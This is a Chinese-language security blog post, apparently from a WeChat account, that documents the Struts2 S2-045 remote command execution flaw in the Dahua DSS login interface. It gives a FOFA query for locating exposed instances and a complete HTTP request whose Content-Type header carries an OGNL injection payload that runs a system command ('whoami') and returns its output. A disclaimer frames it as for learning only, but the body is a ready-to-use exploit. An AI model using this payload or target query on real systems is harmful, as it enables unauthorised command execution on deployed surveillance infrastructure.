请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。本次测试仅供学习交流使用，如若非法他用，与平台和本文作者无关，需自行负责！
00
漏洞概述
大华 DSS 登录接口存在 Struct2-045漏洞，可执行系统命令并回显。
01
空间搜索语法
fofa
body="/portal/include/script/dahuaDefined/headCommon.js?type=index"&&title="DSS"
02
利用过程
登录界面
登录接口存在 Struct2-045漏洞，可执行系统命令并回显。
GET /admin/login_login.action HTTP/1.1Host:User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brConnection: closeContent-Type: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Connection: close
漏洞存在如下
03
nuclei
获取脚本关注本公众号后发送：DSS1
原创原创原创原创原创原创原创原创创原创原创原创原创原创原创原创原创原创原创创原创原创原创原创原创原创创原
✓
关注我们
原文始发于微信公众号（天澜实验室）：大华 DSS Struct2-045
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论